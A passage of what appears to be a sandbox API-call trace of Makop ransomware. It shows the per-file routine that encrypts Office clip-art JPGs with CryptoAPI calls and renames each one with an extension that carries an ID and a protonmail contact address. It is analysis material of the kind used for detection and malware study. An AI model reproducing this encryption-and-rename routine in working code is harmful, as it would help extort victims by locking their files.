files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.106] GetProcessHeap () returned 0x48a0000 [0138.106] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.106] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0138.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.110] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.110] GetProcessHeap () returned 0x48a0000 [0138.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.110] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.111] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.111] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.112] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x98c7, lpOverlapped=0x0) returned 1 [0138.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x98d0, dwBufLen=0x98d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x98d0) returned 1 [0138.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x98d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x98d0, lpOverlapped=0x0) returned 1 [0138.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x99a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.115] SetEndOfFile (hFile=0xf0) returned 1 [0138.122] GetProcessHeap () returned 0x48a0000 [0138.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.122] GetProcessHeap () returned 0x48a0000 [0138.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.122] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.124] CloseHandle (hObject=0xf0) returned 1 [0138.125] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0138.125] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG") returned 63 [0138.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.125] GetProcessHeap () returned 0x48a0000 [0138.126] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.126] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0138.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.131] GetProcessHeap () returned 0x48a0000 [0138.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.132] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb9bf, lpOverlapped=0x0) returned 1 [0138.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9c0, dwBufLen=0xb9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9c0) returned 1 [0138.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb9c0, lpOverlapped=0x0) returned 1 [0138.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xba94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.136] SetEndOfFile (hFile=0xf0) returned 1 [0138.144] GetProcessHeap () returned 0x48a0000 [0138.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.144] GetProcessHeap () returned 0x48a0000 [0138.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.144] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.146] CloseHandle (hObject=0xf0) returned 1 [0138.146] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0138.146] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG") returned 63 [0138.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.147] GetProcessHeap () returned 0x48a0000 [0138.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.147] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.153] GetProcessHeap () returned 0x48a0000 [0138.153] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.154] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.154] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.154] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x98ec, lpOverlapped=0x0) returned 1 [0138.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x98f0, dwBufLen=0x98f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x98f0) returned 1 [0138.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x98f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x98f0, lpOverlapped=0x0) returned 1 [0138.170] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x99c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.170] SetEndOfFile (hFile=0xf0) returned 1 [0138.177] GetProcessHeap () returned 0x48a0000 [0138.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.177] GetProcessHeap () returned 0x48a0000 [0138.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.177] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.179] CloseHandle (hObject=0xf0) returned 1 [0138.179] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0138.179] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG") returned 63 [0138.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.191] GetProcessHeap () returned 0x48a0000 [0138.191] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.192] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0138.196] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.196] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.196] GetProcessHeap () returned 0x48a0000 [0138.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.196] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.196] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.200] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.200] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7df3, lpOverlapped=0x0) returned 1 [0138.207] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e00, dwBufLen=0x7e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e00) returned 1 [0138.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e00, lpOverlapped=0x0) returned 1 [0138.208] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.208] SetEndOfFile (hFile=0xf0) returned 1 [0138.216] GetProcessHeap () returned 0x48a0000 [0138.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.216] GetProcessHeap () returned 0x48a0000 [0138.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.216] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.218] CloseHandle (hObject=0xf0) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 